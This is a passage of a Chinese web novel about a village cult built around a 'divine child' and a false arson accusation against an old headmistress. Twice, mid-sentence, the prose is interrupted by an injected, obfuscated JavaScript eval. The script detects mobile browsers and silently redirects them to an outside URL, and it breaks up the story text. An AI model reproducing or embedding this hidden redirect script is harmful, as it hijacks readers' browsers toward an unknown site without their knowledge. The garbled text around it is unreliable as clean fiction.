“那我也应该是你开蒙以后,第一个拜你的人,我要做你的……你的,首席信徒!仙童——”李池口中说着就双手合十要弯下腰去,被万金花一抬脚挡着,“做什么做什么,谁允许你说拜就拜了?” “嘿嘿嘿……妈妈,他的大脑都不清醒了,来拜我们这等凡人,我看他是连吉祥天师都要抛在脑后咯。” “诶没有没有没有。”李池吓得往后倒退三步,把刚才嘴里念叨的话抛得一干二净。 人总是会为他的目标付出些行动的,这取决于这个目标的迫切程度和能给他带来的利益。李池献出的殷勤也说明他有所图谋,万金花当然看得出来,“说吧,你到底想要什么呀?” “我……我……”李池攥着衣角,扭扭捏捏半天吐不出一句话来,万金花最烦这种人,“你要断气了啊!快说啊!” “婆子,以后拜神用的共生童子,能不能用我们家的?” 万金花从鼻子里挤出一丝鄙夷的呼吸,“你舍得?” “诶哟婆子,你可怜可怜我,我没本事,只能盼着后代有本事,小潭过了年纪,以后她会有孩子,儿子以后也会有孩子,你帮我介绍一个过去,我们家也算在吉祥天师面前有脸了不是?” 李池连忙从衣服口袋里掏出了一沓钞票,“这个,你们拿去嘿嘿,就当是预定的见面礼。” 万金花拿眼白瞟他,她还是看不上这个李池,也想不到他能说出这种话,李池便又扑倒在小白菜面前:“仙童!你就帮我引荐一下,留个位置给咱们家吧!” 小白菜开口道:“李池,你这就错了。这件事你求的应该是我的妈妈,而我的任务,只是寻找烧塔的罪人,以便赶紧再见天师一面。” “婆子,婆子,白菜,白菜,你们就应了吧,以后你吩咐我,驱使我,我做保镖,我做打手,我做仆人。” 坐在床上的小白菜却饶有趣味地看着他,“李池,咱们明月庄只能是吉祥天师的信徒,但你也清楚,我是明月庄唯一一个经由三仙汇首共同点化开蒙的人,以后我便是吉祥天师在明月庄的代言人,做仆人太委屈你了,怎么也得给你个代言人首席助理的名头嘿嘿嘿……” 趴在地上的男人如获至宝,“哎呀!小仙家,真有这种好事儿我肯定为你当牛做马,当牛做马!” 小白菜竟捧着李池的脸告诉他:“好呀,李池,那你现在就走到外面,替我扇李得彩一个响亮的耳光吧。” 啥?李池和万金花异口同声,小白菜脸上的微笑被似有若无的阳光衬托得更加明显,此时李得彩正坐在外面的太师椅里,摩挲着他珍爱的古巴烟斗,他对高塔上燃起的大火没有表现出很多的关心,只在晚上花了更长的时间去抚摸感受神像的雕刻纹理,好像是要精进自己的技艺似的,另一边,金铃儿和银铃儿挤在一张椅子上温习今天的功课。 “去呀李池,你不是才说了,为我当牛做马吗?连这也做不到吗?”他又看着万金花道:“不要担心,妈妈,我不仅开蒙后能言善道,现在还是个可以预见未来的先知,我知道我的好父亲不会说什么的。” “奶奶的。”李池撂下一句脏话就倏地出现在太师椅前面挡住了李得彩欣赏古巴烟斗的光。 “你挡着我做什么?” 啪! 李池扇的这一耳光远远超出响亮的级别以至于震掉了李得彩手里的烟斗,李得彩的耳朵里响起嗡鸣,险些从太师椅上滑下去,旁边的金铃儿和银铃儿在角落抱在一起。李池的第一反应是自己要完了,下一秒他就豪情满怀——这可是小白菜的命令,这一耳光是吉祥天师旨意的神圣执行。 “哈哈哈哈哈……”小白菜的笑声从房间里传来,李池得到了新命令似的又爬回到床边,“小仙家,你看我做得好不好?” “好极了,好极了,妈妈,你说是不是好极了?”床上的孩子大笑着鼓掌,李得彩扶着门框眼冒金星,在孩子的笑声中,李得彩确如预言的那样,弯着腰一言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063018|163016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不发。 李春生的两个好学生并没有因为家里的动乱而受到什么影响,她们早就习惯了这些荒诞的事件,他隔着窗户摇摇一望就安下了心。他本可以直接借着她们家里神像的眼睛看到一切,但李春生没有这样做,他行事越来越向一个普通人靠拢了。 沉默的李得彩没有成为在场任何一个人关注的焦点。这件事就在小白菜发狂般的笑声中绵延不绝地结束了。这次失败的拜神大会成为了金铃儿与银铃儿的心结,好在她们不是性急的人。面对无法挽回的残忍事实,她们默默地选择了逐渐远离疯狂的家庭,往中学更深入地走去。 金铃儿问妹妹:“你说,咱家还能待吗?” “你问我?”银铃儿指着自己的鼻子,“我巴不得再长大些,就和你一起逃出去,再也不回来!别说是咱们家,我看整个明月庄都不能待,他们都是杀人犯!” “也不都是!” “我知道,春生老师还有老校长他们就不是。但咱们的妈是万金花,是神婆子,她能心安理得地害了小毛蛋,以后也能心安理得地害了我们,和她亲爱的小白菜永远在一块儿。” 金铃儿的眼睛垂下去,“小时候我觉得他们都是好人,怎么现在成了见死不救的怪物。”她无声地流下了眼泪。 “他们都学坏了,咱们的妈教坏了他们。” 两姐妹的话题又回到了前几日的时候。金铃儿说:“我倒是有个很危险的答案。”她旋即摇了摇头,“先不说这个了。我现在更多的,是不知道该怎么办。咱们为小毛蛋哭了一场,可是能做什么呢?我们才十几岁,报仇什么的不现实……” “姐。”银铃儿握住了姐姐的手,“小毛蛋没了,我们哭得再多也只能给他多烧点儿纸。纸灰是风一吹就散的东西。我没你这么有良心,我不想着没了的人,我只想着以后。救不了毛蛋,可明月庄不只一个毛蛋,咱们应该想着他们。” 第二天学校的体育课上,银铃儿将一颗篮球抛向李小潭,并对她说起了李池的所作所为。 “你都瞧见了?”李小潭隔着半个篮球场问她。 “我和我姐就在外边看书呢。” “你不笑话我?”李小潭把篮球重重地往地上一砸,球弹得老高,发出一串有规律的声响。中学的篮球场还是露天的,在水泥地上画好白线,架上篮球架就是了,当年浇水泥留下的缝隙里如今生出杂草,把银铃儿和李小潭分隔在两端。 “我为啥要笑你?我只笑你的爸爸,把我那个精神不正常的弟弟当做小神仙来拜。”她跳过那条生着杂草的缝隙接住仍在弹跳的篮球,对准篮框投出一个完美的三分弧线,“我也知道,你和你的爸爸不一样,所以才敢这样和你说。” “你怎么知道?” “我看出来的呀,小潭,你以前在作文里头写了,你养了一只白兔,你们家也只有这么一只白兔,这只白兔被你爸拎到了我家里,献给了我妈。送行酒那天晚上你也没有来,说明他拿走这只兔子没有经过你的同意吧。” “那作文都是六年级写的了,你还记得?” “接着。”银铃儿把篮球传给小潭,“我的脑子灵着呢,小潭。还有,拜神大会的时候你既没有和你爸走在一块儿,也没有求过小白菜和我妈,还有你爸说的那些话,我就知道他没把你当女儿看。” “我也没把他当爹看呢!” 银铃儿跳到李小潭的面前,和她一起抱着篮球,“以后你要小心他,万事留个心眼儿。” 李小潭抱着篮球的手迟迟不肯松开,操场上的风吹过她的鬓角,她看到银铃儿的眼睛与她的是那样近,比季有兰灰白的眼眸更加明亮,比李池发黄的眼白更加纯净,比自己的更加坚定。 “银铃儿,咱们都是坏人的孩子。” “可我们都是好人。” “你怎么确定我不会变成坏人?” “近朱者赤,近墨者黑,我们才不和坏人在一起做事呢,不会变成坏人的。我姐姐,你妈妈,我们还有校长,还有春生老师慧慧姐,他们都是好人,就算你要变成坏人我们也能拉住你。” 两个姑娘在操场上一起大笑起来,李小潭在多年以后仍然记得手中那颗篮球的纹理,身后水泥地面上的缝隙原来没有她以为的那样大,她学着银铃儿的样子朝着篮框投出弧线,球砸到篮框的边缘弹飞到草丛里,在石子和碎砖之间沿着不可预测的轨迹滚动,小潭如释重负。 “啊我知道了!”银铃儿忽然这么喊道。 “你知道什么了?” “你等一等!我商量明白了再告诉你!” 金铃儿从操场的另一边走来,银铃儿飞快地奔向她,带起一阵暖融融的风扑向李小潭的脸颊。 “姐,我知道了!” “你知道什么了?” “上次春生老师留的问题,你说的那个危险的答案,我知道了!” 金铃儿压低声音凑近,“是什么?” “是明月庄,姐,是明月庄。明月庄人人都需要神婆子,妈就成了那个神婆子,围在神婆子周围的人都是用人命换利益的坏种!” “那这些人又是被什么塑造的呢?这样问下去无穷无尽了。” 银铃儿抬头想了想道:“没有无穷无尽,是吉祥……”她被金铃儿捂住了嘴,“别在这里说出来!” 11. 指控 整个明月庄在小白菜宣布的决定下进入了人人自危的新时代。显然,谁都不希望自己成为火烧登临塔的嫌疑人,但事件越不明朗,落在每个人头上的嫌疑就越均等。在一切尘埃落定之前,明月庄的生活都将被祈祷和猜疑包围。 即便是我这样对大多数事都漠不关心的人,也能注意到明月庄的变化。中学的缺勤率在登临塔轰然倒塌之后骤然提升居高不下,连食堂的每周采买都可以减半,加之本就年关将近,使得这一学期不得不草草收尾。 学期的最后一天,当我和慧慧在河边的房屋里等待着李春生的时候,中学里同样有人在等着他。 “有什么事吗,银铃儿?”李春生往门外一瞥就看见了她狡猾的眼睛。 “老师……”银铃儿的身后钻出一个小狗儿般的脑袋,她移动到李春生的身边,“老师,你好点儿了吗?” 李春生笑笑,当然不能告诉她们实情,“我没事。” “真的没事吗?我觉得吐血是很严重的事。你不要和慧慧姐一起骗我们。”金铃儿的语气很真诚,几乎要把李春生看透了。在那一瞬间李春生感到愧疚,他忽然觉得隐瞒真相的行为让他成了与万金花差不多的人。我说他想得太多,这明明完全不一样。当时我炖着一锅豆腐,蒸汽把屋里烤得很暖和,我让他过来尝尝咸淡,就看到他的脸因为屋里的温度显出难得红润的色泽。 在金铃儿和银铃儿面前,他这位历史教师其实也和我一样有着相似的窘境,只能重复着安慰道:“真没事,别担心了。倒是你们,跑来要和我说什么?” 金铃儿总算谈起了这个危险的话题,“春生老师,你上次让我们再多想想的问题,我们想到了,但好像很大逆不道。” 李春生却并不急于向她们寻求这个问题的结果,他只是将桌上的东西都收好,问道:“要告诉我吗?” 金铃儿不解,“如果不告诉你,那我们怎么知道我们想的对不对呢?” “这个问题本来就没有唯一的答案,每个人都有自己的回答,说不上对和错的。” 金铃儿低下了头,“但我不太懂怎么会是这样。” 有了金铃儿的这句“不懂”,李春生便理所当然地担起了教师的责任,“你觉得大逆不道,逆的是谁的道?” “明月庄的道。” 李春生告诉我,他其实并不能完全地通晓人心,但金铃儿这么回答了,在夕阳缓缓沉落的光辉里,他也就大概明白了这两姐妹得出的答案是什么。他是欣慰的,他从来都渴望人们的质疑与提问的目光,比那些虔诚的仰视更让他感到生命的充实。 中学已经渐渐散去了大半的人,只有零星的声音还在校门口回荡,银铃儿手撑着讲台说,“我来问吧,春生老师,坏人是自己变坏的,还是被人带坏的?” 李春生想了想,答道:“好坏和对错都不是绝对的。人更是复杂的集合体。你们口中的坏人,也不会是在某天,某一时刻就突然变成坏人,与过去的一切分道扬镳的。站在不同的角度看,好坏也有不同。比如刘后主在位初期还能选贤任能,后期宠信宦官,你不能简单地定义他是好还是坏。所以,你们与其纠结这个人是好是坏,不如看他在具体的事上是对是错。” “是对是错?” 银铃儿高高地举起了手,“春生老师,比如我在想明月庄拜神究竟是不是好事,按照你说的,它作为祈福的仪式给很多人带来希望,这没错,但它需要贡品做入场券,还让小毛蛋丢了性命,这就大错特错了。” 李春生点了点头。 “可是犯了错是要改正的,那我现在觉得什么血脉共生,什么拜神大会早就该一脚掀翻了,这样是对的吗?” 金铃儿庆幸自己关好了门,刚才这段话要是被人听了去恐怕很快他们三个都要大难临头。 李春生对银铃儿的思考十分满意,“你学得很快,银铃儿。” 金铃儿露出为难的神色:“可是春生老师,我们怎么可能改变它呢?” 怎么不能呢?大厦将倾,绝非一日之功,李春生从没想过要毕其功于一役,而对于金铃儿和银铃儿来说,李春生不需要她们做什么冲锋陷阵的排头兵。 “可以的。”李春生说,“看不到终点的话,就看着眼前的路。一步一步走,玄奘西行,莫贺延碛八百里,不也能走过来吗?不懂就找我,我带你们走一段。” 我不敢断言李春生的话给了她们多大的精神力量,但从结果来看,他的确在金铃儿和银铃儿心中种下了一颗质疑的种子,在未来的某天破土而出,成为石制神像上的一道裂痕。 在她们之后,第三位访客不期而至。跛脚的老校长手里攥着一个蓝布包出现在李春生面前,她似乎在这几日平添了更多的白发,脸上的纹路似乎也加重了她身躯的佝偻。 老校长并不是明月庄人,一直以来李春生都对这位外乡人敬重有加,她单枪匹马在那个艰难的年代里保下了如今中学的教学楼,几十年来孜孜不倦地投入她所崇奉的育人之道中,也让李春生如今想要完成的事有了现实的落足点。 “春生,我有事得和你说。” 不用多想也能知道老校长指的正是天师登临塔起火倒塌的事,李春生对此早有预料,刚刚打开的门又被重新关好,李春生从老校长衣裤上漆黑的污渍解读出一个信息,“您刚刚是去了登临塔那边吗?” 她便直接接着这话说下去,算是默认了李春生的疑问,“我觉得古怪啊。” “那火莫名地烧起来,还烧出个伶牙俐齿的神童,把庄子里所有人的生活都牵动了,的确不能算是平常的事。”李春生给老校长泡了一壶好茶,“只是我觉得,明月庄的怪事也不比寻常事少。” “我就不跟你绕了,你看这个。”那蓝布包裹着的,是来自广场上碎石堆中央的几块炮仗皮,混着火药粉的硫磺和硝石味儿,“我怎么看,都觉得这就是个意外,鞭炮的火星子蹦上去了,哪儿有什么蓄意纵火。” “这个时候您去那边还是太危险了。” 老校长摆了摆手,“你可别像他们似的拿出那套牛鬼蛇神的话来,什么鬼怪都比不上人心危险。” “校长,我想说的正是人心险恶。” 老校长轻抚着自己的伤腿,“春生,他们这就像在黑暗中挥刀子,捅到谁算谁倒霉。我是不怕他们的,我只怕这些学生们要遭殃。我身子又不好,这么多年守着这块地,不怕你笑话,就是想让学校的围墙内,能是一片远离险恶人心和怪力乱神的净土,所以有时候,我也觉得自己是个缩头乌龟。” 可李春生怎么可能笑话她呢?我和他还有慧慧都清楚,老校长这妄自菲薄的心态来源于中学初建时的陈年往事。 那还要追溯到老校长的青年时代,她在二十岁时就作为下乡的知青随着队伍来到了明月庄,这段日子塑造了她往后大半的人生道路。老校长每每回忆起来,都会笑自己当年的莽撞无知,而这在李春生眼里,却是她的人格熠熠生辉的象征。 老校长的父母在他们那个年代就是杰出的青年教师,而她也继承了父母的衣钵,在风华正茂的年纪决定投身明月庄的教育事业。当那群举着铁锹锤子的人出现在中学破败的墙垣中时,她举着自己从废墟中抢救出来的李哲画像指责他们数典忘祖,这恐吓并不能震慑住这些人,于是这位女知青索性在中学的门前坐下,与另外几位勇敢的同僚一同守护了这里。 在她的带领下,这几位先驱们用笔,用指头,用刷子,在中学的墙面上用红油漆涂上了吉祥天师的圣像,要推翻墙壁,必然也会推翻墙上的信仰,那些铁锹和锤子不敢动了,当时我和李春生就在她们身边,他很庆幸他们赢下了艰难的一步。 如今的老校长已经与过去的她有了完全不同的气质,自从中学步入正轨之后她似乎收敛了锋芒,与学校共同偏安一隅,成为明月庄里最平静的一个角落。 但现在这个角落的平静也岌岌可危。 “你就是中学的校长?”一个身材健硕,皮肤黝黑的高个子男人忽然出现,他的身形遮住了一大片的阳光。 “怎么了?” 男人没有立刻回答,而是指着李春生问道:“他呢?” “他是这儿的老师,你有什么事?”老校长挺起脊背,在气势上与男人相抗衡。 男人分别对老校长和李春生说:“你,跟我走,你随便。” 这个男人的意图太过明显,老校长站起身子的两秒钟里就已经对自己要面对的事情心知肚明,她语气颇为轻松地对李春生说了一句,“看来,我还是不得不走出这扇门了。” 借由供桌上吉祥天师塑像的眼睛,李春生看到了与老校长对弈的另一方。除了作为仲裁者的万金花和小白菜,院子里还乌泱泱地围了很多看客,金铃儿与银铃儿与她们的父亲李得彩一起被挤在阴暗的角落。在这些人之外,最关键的那位指控者,正趾高气扬地坐在万金花为他准备的太师椅里,他的两个眼珠凸出眼眶,颧骨高耸将脸皮撑得紧绷到极点。 老校长认识他,当年举着铁锹悻悻而归的众人中有他的脸,半夜潜入中学来打断了她的腿的首领也长着他的脸。李春生也认识他,因为他的女儿名叫李小枝——在中学吃人的可怕传闻中,她是可怜的“受害者”。 李春生跑来撞开了河边小屋的门,“帮忙,老校长有危险。” “说。”我没有拒绝他的理由和余地。李春生会需要我和慧慧帮忙基本只有一种情况:这件事要在明月庄之外的地方才能完成。 “去找李小枝,老校长需要她。” 慧慧说:“小枝?当初校长就没告诉任何人她住在哪里,而且这明月庄以外的地方,你能知道她在哪儿吗?” “我知道。”长久以来,李春生都把此作为他个人的秘密,连我和慧慧都是第一次知晓,“明月庄的每个人都与我血脉相连,我知道她在哪儿。我只是需要你们替我出去找她。” 即便他们已经离开了明月庄。 李春生是属于明月庄的神明,庄子以外的任何地方都无人传颂他的故事,所以他这辈子都是无法踏出明月庄一步的。只我和慧慧不同,有关燃灯星君和文慧菩萨的信仰并不局限于此,所以庄子以外的事务我们可以代劳。 李春生在给出具体地点之后再次感到体力不支,以神为名的仪式是压在他脖子上的横杆,无数双握着横杆的手把他碾得粉碎。他给出的地点已经接近县城,是县镇交界处的一栋筒子楼。我和慧慧在楼里一间一间地寻觅名为“李小枝”的身影。 “小枝,我记得了,是他班上的那个女生。”慧慧说,“那就说明老校长那边和李小枝有关系了。” 我没有回答她,只想快些把人找到,再快些回去确保李春生安然无恙。 另一头,老校长以慷慨就义的模样走进了为她搭建的审判场所,椅子上的男人把头仰得更高,用鼻孔对着他的对手。小白菜被万金花捧在怀里正沐浴着下午暖融融的日光,他白菜帮子一般的脸被晒得粉红,听见老校长进门的脚步声旋即露出他尖利的虎牙咯咯直笑。 “妈妈,我们的演员都到齐咯。” 万金花对自己儿子突如其来的伶俐感到极度的不适应,直到现在她也会恍惚间觉得自己身处在一场梦中。 太师椅里端坐着的男人在神婆子与小白菜之前就跳起来开口,“我看见了!就是她放火烧了……呀!”小白菜在男人开口的同时也从万金花身上跳下,他猛踹男人的脚踝来夺回自己在这场审判中的第一话语权。 “李洪!你忘了自己是谁了,我和妈妈都还没有开口,你就先开口了?” 李洪捂着自己的右脚如一只上岸的河虾般滑稽地跳跃着,“我没忘,我是心急!” 万金花抱起了此时的主宰者说道:“好呀,好呀,李洪,你跟我们好好说说,你瞧见了什么?” 李洪得到应允,他粗黑的手指下一秒就出现在老校长的鼻子前,“是她!我敢肯定是她放火烧了登临塔!一来拜神那天她没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063019|163016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有现身,可见心不诚,二来今天她又出现在登临塔附近,还捡走了什么东西,一定是在销毁证据!” 蓝布包,老校长口袋里鼓鼓囊囊的蓝布包,一跃成为了指控她的证据,爆竹在蓝布包里残破的碎片中还了魂,再次履行了自己炸响的使命。 “呵,李洪,你前言不搭后语,我既然不在那里,又是怎么放的火?” “其实你大摇大摆地来到了塔下,但你施了障眼法,蒙蔽了所有人的眼睛!” 障眼法?这三个字瞬间就在明月庄众人的疑虑中投下一块石头,她要只是个纵火犯就好了呀,那么他们就只要在确认了她的罪行之后用同样的方式烧死她,可她偏偏是个会障眼法的妖女,她会在生命的弥留之际降下对明月庄的诅咒的,这诅咒会像老鼠和白蚁一样蛰伏在明月庄的每个角落里,在最不设防的时候出来啃咬人的皮肤。 “障眼法?”万金花与她怀里的小白菜同时喊出了声,“那么,就一定要把天师请来处理你这脏东西了!” 对啊,还有吉祥天师呢。量她是什么妖魔鬼怪,来了明月庄就逃不出吉祥天师的手掌心,什么诅咒,什么法术,明月庄还有两位与神有缘的仙师,他们勾勾手指就能上传下达,让吉祥天师来解决这一切的。 “不对!” 银铃儿从属于她的角落里扒开沙丁鱼似的人群,高高举起她的右手也高声喊出她的反对,“不对!校长不是脏东西,你们不能处理她!” “小丫头,你不要以为自己是万婆子的女儿我们就会义无反顾地追随你!你是在反对你妈,反对神婆子,你想想清楚!”李洪俨然摆出一副胜利者的姿态来教育银铃儿。 小白菜在万金花的怀里扭转脖子望向银铃儿,“二姐姐,你怎么知道她不是,难道她的所作所为你都看在眼里吗?嘿嘿嘿嘿……” 万金花忽然对自己怀中的孩子感到一阵恶心,她并不想把事情扩大到自己身上,小白菜却似乎有意要让银铃儿往坑里跳。 银铃儿用一句话把小白菜气得够呛:“嘁,你太小了听不懂我们说话。”她站到老校长的身前用同样的姿势指着李洪:“你哪里听出来我在反对我妈!我说的是现在,此时此刻,你们还不能确定校长是放火的人,所以不能这么说她。我这话说的对不对,回答我这个问题!” “你,你,你!”李洪的胸中淤积了一股气吐不出来,此刻百转千回在院子里直跺脚,“我都说了是她!” “你们之前说的都是李洪叔的推测,没有证据能证明校长放了火。”金铃儿的声音也从角落里传出来,话音刚落她就重新把自己藏好,只露了半张脸出来。 “证据!” “爆竹皮可不算,我也能捡一堆回来。你是诬告,要割去舌头!” “舌头!”李洪听了整个人直往后倒,他迫切地要在空荡荡的大脑中寻找出反驳银铃儿的方法,李洪当然没有见到老校长向登临塔投出火把,在他绞尽脑汁之际,小白菜又缓缓地开了口,“李洪啊李洪,她放火烧塔总要有个理由吧。” 是啊,理由。她为什么要放火烧了天师登临塔呢?那么肯定是她个人对吉祥天师有恨了。没错,就是这样! 李洪的身子瞬间打开挺得笔直,他的食指越过银铃儿的头顶再次指着老校长的鼻子,“她蓄谋已久啊!为了这一天她等了二十多年!”现在李洪成为明月庄最耀眼的演说家,“你们这些年轻的都不知道!这个女人现在是风风光光的中学校长,其实她是个背信弃义的疯子!二十多年前她为了建这所学校,竟然扬言要把西天师庙给推平,她甚至拎上了锤子爬到了吉祥天师神像的顶端!要不是咱们的人拼命拦着她,明月庄就要铸成大祸!” 尚未经历过当年事的人们骤然陷入骚动,老校长站在阳光下默默看着李洪高谈阔论,他虽然怀揣着肮脏的目的,但口中所说的都是事实。老校长已经不会再回忆自己充满了激情与迷狂的青年时代,但历史的伏笔兜兜转转并不打算放过她。 “这个外乡人早就恨透了吉祥天师,她一直等到这时候才找到动手的机会!她有爬上天师脑袋的前科,现在会扔出火把也是完全可能的!” “嘿嘿嘿嘿……”小白菜在万金花的臂弯里将自己的身体扭曲成不可思议的角度 ,他发出的笑声在老校长头顶久久回荡,她看到世界在烈日下成为水波上的幻影,她确信自己累了,如果这疯狂的审判可以在自己这里结束,那么中学或许还能重新回到秩序中。 一个包头巾的女人举起了手,“我也知道,她还给学生们洗脑,有的孩子回家来就说着什么出去看看的胡话,明月庄的人哪儿能出去哟,都是要不得好死的!” 她的声音不大,却在人群中炸出了更多的附和声。 “是嘞,我听说中学里头一尊神像都没有,肯定是要出事的。” “果然,没结婚的女人老了就要吃人脑子,看来是真的!” “呀,难怪说中学吃人呢!” 一个歪嘴巴的矮个男人结束了人群的哄闹,他朝着李洪高声喊道:“李洪!你姑娘是不是也被她洗脑了!” 姑娘,是啊,他的姑娘,李小枝。 “啊!”他终于等来这个清算旧账的时刻,“一定是她!她让我家破人亡,妻离子散!我的小枝被她蛊惑再也没有回来过明月庄,一定是被她给害了!她见不得我们明月庄的人好,就利用中学一点一点地害死我们的孩子!可怜我的小枝啊!” 李洪撒泼耍赖的功夫是庄子里的佼佼者,他现在索性在地上躺下嚎叫着打滚,势要让老校长为自己的罪名付出代价。银铃儿退到老校长的身边握紧了她的手,很快就被小白菜呵斥道:“我的姐姐!你居然还敢握着这个罪人的手!赶紧放开,否则你也会被她害死的!” “呸!” “嘿嘿嘿嘿嘿……” “好了,听我说!”万金花及时接手了法官的工作,“咱们都是公道人,既然说校长蛊惑人心,那她的住处必定有证据,好好搜搜吧!” 12. 群像剧 一队气势汹汹的人马带着各式闪着金属光泽的工具前来履行万金花与小白菜共同下达的命令,老校长在二楼的办公室木门已经是半个老古董,被当做原料的那棵树经历世代轮回已经再次遮天蔽日,写着“诲人不倦”的毛笔字牌匾下桑田沧海,吹胡瞪眼的男人们扮演了采珠人,用凿子撬开那已然有了裂痕的蚌壳,纸做的珍珠就轻飘飘地飞到空中,这便是他们今天的收成了。 “最最敬爱的校长,见信如面……” 采珠人们退回到自己本来的身份中,为这些白纸黑字的证据而欢呼雀跃。他们在万众瞩目当中凯旋而归,第一个前来迎接他们的正是小白菜。他的手臂是一根滚圆的柱子,在他忽然能言善道的日子之后以肉眼可见的速度膨胀起来。他用锐利的指尖拽住李洪的裤腰带,在他盆骨上方的位置留下一个猫啃般的血口子。 “万分感谢您的帮助,我和妈妈已经顺利在此定居。我们住的地方不大,但您介绍的房东阿姨也是和您一样好的人,我们的楼上就是雅芝姐……” 纸片珍珠上的文字从小白菜幼犬般的嗓音中被念出,成为确凿无疑的箭对准了老校长的眉心。她并无多少反驳的空间,这是她后半生活着的意义。现在,她作为私藏了明珠的窃贼被推到了明月庄的目光下。人们的牙齿和唇舌不断摇晃着老校长眼前的景象,她微微调整了站立的姿态稳住自己的脚跟。 “学校离这里不远,我现在走路去上学,以后我就乘着火车去更远的地方上学。妈妈在这里的一家纱厂找到了工作,她下班的时间有点晚,但我可以在家里等她,或者去房东阿姨那里……” 这是李小枝的字迹,李洪举着这页信纸像挥舞着得胜的旗帜。李洪确信自己找到的是老校长对他的女儿进行了精神控制的直接证据。在他的口中,李小枝在校长的哄骗下深陷在美好明天的幻想中,于是小枝才会与母亲一起离开生她养她的明月庄,离开这个应有尽有的庇护所,投入到水深火热的外部世界。他的观点得到了小白菜的确认,她们是无依无靠的两个女人,从明月庄这片仙家福地离开根本就是脑袋里生了疮才会干的事。 “高中的课有点难,这里的同学懂的也比我多,有时候我也会听不懂他们说的话,我常常因为这有些尴尬,校长,您有什么办法吗……” 众人在李洪的宣讲中拼凑出一个可怕的故事:他们面前的这位老校长居心叵测,她因为当年下乡时不愉快的经历而痛恨明月庄,痛恨这里沐浴着吉祥天师的照拂。于是她将自己的爪牙渗透到中学的孩子们当中,在他们的头脑中种下恶疮,驱使他们一个个逃离明月庄。不仅杀人于无形,更能起到让明月庄逐渐绝后的作用。而她本人则耐心等待着一个绝妙的机会,在登临塔下放火来彻底宣泄自己对吉祥天师的恨意! “您寄给我们的东西已经收到,妈妈也向您问好,期待您的回信。” 啊!李洪更加确信,自己是一个无端丧女的可怜人,凶手就站在自己面前,秘密就藏在信中所说“寄去的东西”里。李小枝母女不告而别之后就杳无音讯,现在又莫名其妙的与这个老校长有信件往来,一切都在李洪眼里变得有迹可循,他自然地从中总结出结论:老校长就是害得他妻离子散的罪魁祸首,登临塔的灾难同样出自她手。 老校长的世界仍在微微颤抖,她在太阳猛烈的照耀下感到头晕,但仍平静地反驳道:“李洪,小枝好着呢,比作为你的女儿的时候好多了。” “你们听!听到她在说什么了吗?什么叫作为我的女儿的时候,意思是她现在不是了?不再与我有关系了?因为她已经在这个老妖婆的洗脑下成了她的傀儡,一个忘根忘本,死不足惜的东西?” 忘根忘本?死不足惜?东西?老校长在摇晃的景观中试图进一步确认自己为学生们做出的选择,这群人的头脑也像珍珠一样光滑干净,如果他们的愤怒无处落脚,以后中学在庄子里就步履维艰,但如果她今天可耻地屈服了,孩子们就真的要永远地陷入到水深火热中去了。 “不,校长,不要投降。” 世界停止了摇晃。李春生短暂的脱力之后穿过骚乱的人群,在景象即将崩塌之前来到了老校长的身边。我和慧慧已经圆满完成了他交代的任务,现在我在另一头看着他们,就像观察一群沙盘中的小人。李春生要对老校长说的只有一个道理:不值得。 “别投降,校长,自毁不是牺牲,它没有意义。” 老校长睁开眼看着他,“春生,我没投降,我想过,但我拒绝了。” 显然,对于此前的问题,老校长早已给出了否定的答案。这位年近花甲的老妇人选择了一条更艰难的道路,但走得慢些,总比就地解散好得多。 我和李春生都松了一口气,老校长做出了李春生最期盼的回答,那么往后的一切就收回到了李春生的掌握之中。 面对这位不速之客,小白菜用他的小手推开了正要发言的李池,“这位……李老师?要发言的话请让大家都听到,不要说悄悄话嘛。” “小子。”万金花为自己被抢走的话语权抬起腿拱了一下小白菜的肚子,“这话该是我来说。” “可是妈妈,妈妈。”这孩子走上前来将自己挂在母亲的右腿上,“我是在帮您呢,为什么要怪我?” 妈的。我能肯定当时站在最内圈的所有人都听到万金花骂了这么一句,但很快她就带着这个腿部挂件神色威严地主持流程了。 “你!”她指着李春生问道:“有什么意见吗?” “有啊。李洪对老校长的指控从头到尾都是诬陷。”李春生的语气平静,与老校长的气质如出一辙,他说这话的时候并没有直视着万金花,而是垂下眼睛与脚边的小白菜对视。 “放屁!”男人跳起来,手里挥舞着信纸大喊,“我才没有诬陷她,这都是板上钉钉的事儿!你,你这个后生与这个女人是一伙的,嘴里没有一句实话!哼!你们中学的老师和校长打断胳膊连着筋,你肯定是眼看自己的靠山要倒台了,才来假惺惺地关心她,防止自己被供出来。” 这是明月庄的大多数人都拥有的特异功能——用老鼠般浅近的眼光发挥出摇曳生姿的想象力。他们都是天马行空的艺术家,和意志坚定的行动者,李洪对自己本次的发挥感到相当满意,已然站在了辩论的制高点。 “李洪,可是没有说实话的人是你。” 他比之前弹跳得更高了,“我?你说我?”李洪刷刷撸起两臂的袖管,“万婆子!小白菜!你们现在就给我做个见证!我李池对着吉祥天师起誓,要是我刚才说的有一句假话,我就,我就……” 这赌注让他磕磕巴巴,李春生问他:“你就怎样?” 这男人又开始扮演校对员,将自己方才脱口而出的话语全部梳理了一遍,最后决定:“我就与李小枝一起变成明月庄的下贱畜生!” 瞬间长吁短叹齐发,众人无不惊愕于李洪口中说出的毒誓,话到了这种程度,就没有人再怀疑李洪是胡说八道啦。 “你确定吗?”李春生问他。 “我百分之一万的确定!” 